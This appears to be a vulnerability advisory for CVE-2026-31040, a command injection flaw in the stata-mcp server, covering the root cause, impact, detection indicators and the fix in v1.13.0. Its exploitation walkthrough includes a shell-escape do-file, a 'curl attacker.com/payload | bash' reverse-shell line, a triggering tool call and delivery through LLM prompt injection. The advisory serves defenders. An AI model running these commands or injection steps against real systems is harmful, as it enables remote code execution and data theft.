CVE-2026-31040: 
Python vulnerability analysis and mitigation

CVE-2026-31040 is a command injection vulnerability in stata-mcp (the Model Context Protocol server for Stata) affecting all versions prior to v1.13.0. The flaw stems from insufficient validation of user-supplied Stata do-file content, allowing attackers to embed OS shell-escape directives that execute arbitrary commands on the host. It was reported on November 19, 2025, patched on November 20, 2025, and formally published to the GitHub Advisory Database and NVD on April 8, 2026. The vulnerability carries a CVSS v3.1 base score of 9.8 (Critical) per Feedly/NVD and a CVSS v4 score of 8.7 (High) per the GitHub Advisory (GitHub Advisory, Feedly).

The root cause is improper input validation (CWE-20) and code injection (CWE-94) in the stata_do tool's execute_dofile method within src/stata_mcp/core/stata/stata_do/do.py. The server reads user-supplied or LLM-generated Stata do-files and passes their contents directly to Stata via subprocess.Popen(..., shell=True) without sanitizing shell-escape directives. On macOS and Linux editions of Stata, lines beginning with ! (e.g., !whoami) or the shell keyword invoke OS-level commands, enabling arbitrary command execution. The exploit chain is: attacker-controlled input → write_dofile / ssc_install / stata_do → StataDo.execute_dofile → _execute_unix_like / _execute_windows → subprocess.Popen(shell=True). No authentication or user interaction is required (GitHub Issue #20, GitHub Advisory).

Successful exploitation allows an unauthenticated remote attacker to execute arbitrary OS commands on the host running the stata-mcp server with the privileges of the application process. This enables full system compromise including unauthorized data access, data theft, file manipulation, and potential lateral movement within the network. All three security pillars are affected: confidentiality (sensitive data exfiltration), integrity (unauthorized file/system modification), and availability (service disruption or destruction) (Feedly, GitHub Issue #20).

No public proof-of-concept exploit code has been published, and there is no evidence of in-the-wild exploitation at this time (Feedly). The EPSS score is approximately 0.02% (0.000200), indicating a low current probability of exploitation in the next 30 days. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, the attack requires no authentication, no user interaction, and no special privileges, making it trivially exploitable if an attacker can supply a malicious do-file to the server (GitHub Advisory).

1. Reconnaissance: Identify systems running stata-mcp versions prior to v1.13.0 that are accessible over the network, particularly MCP server endpoints exposed to untrusted clients or LLM agents.
2. Craft malicious do-file: Create a Stata do-file containing a shell-escape directive, for example:

display "checking"
!whoami

On macOS/Linux Stata, lines starting with ! invoke OS-level commands. Alternatively, use shell curl http://attacker.com/payload | bash for a reverse shell. 3. Deliver the do-file: Save the malicious do-file to a path accessible to the MCP server (e.g., /tmp/malicious.do), either by exploiting a file-write capability, social engineering, or through an LLM prompt injection that causes the agent to write the file. 4. Invoke the stata_do tool: Call the stata_do MCP tool with the path to the malicious do-file:

{"tool": "stata_do", "arguments": {"dofile_path": "/tmp/malicious.do"}}

5. Achieve RCE: The server reads the do-file without sanitization and passes it to Stata via subprocess.Popen(shell=True). Stata interprets the ! directive and executes the OS command on the host, granting the attacker arbitrary code execution with the server process's privileges (GitHub Issue #20, GitHub Advisory).

• File System: Presence of unexpected .do files in world-writable directories (e.g., /tmp/malicious.do) containing lines starting with ! or the shell keyword; new files created by the Stata process owner in sensitive directories.
• Process: Unusual child processes spawned by the Stata or Python MCP server process (e.g., bash, sh, curl, wget, python, nc) that are not part of normal Stata operation; whoami, id, or reconnaissance commands appearing in process lists.
• Logs: MCP server logs showing stata_do tool invocations with do-file paths pointing to temporary or unusual directories; Stata log files (.log) containing output of OS commands (e.g., usernames, directory listings, network responses).
• Network: Unexpected outbound connections from the Stata/MCP server host to external IPs, particularly on non-standard ports; DNS lookups for attacker-controlled domains initiated by the server process (GitHub Issue #20).

Upgrade stata-mcp to version 1.13.0 or later, which introduces a security guard in execute_dofile that rejects do-files containing shell-escape directives (\n! or \nshell ) before execution (GitHub Release v1.13.0, GitHub PR #21). As interim workarounds prior to patching: restrict network access to the stata-mcp server using firewall rules or network segmentation; validate and allowlist all Stata do-files processed by the server, rejecting any containing ! or shell directives; avoid running the MCP server with elevated privileges to limit blast radius. The fix commit (52413ce) adds content validation that raises a ValueError if dangerous tokens are detected (GitHub Commit).

The vulnerability was originally reported by GitHub user 123mutouren321414 on November 19, 2025, via a detailed bug report (Issue #20) accompanied by a full technical PDF analysis. The maintainer (SepineTam) reviewed and merged the fix within one day (November 20, 2025), demonstrating a rapid response. The fix was included in the v1.13.0 major feature release. The CVE was formally published to NVD and the GitHub Advisory Database on April 8, 2026, with no notable broader media coverage or significant community controversy observed (GitHub Issue #20, GitHub Release v1.13.0).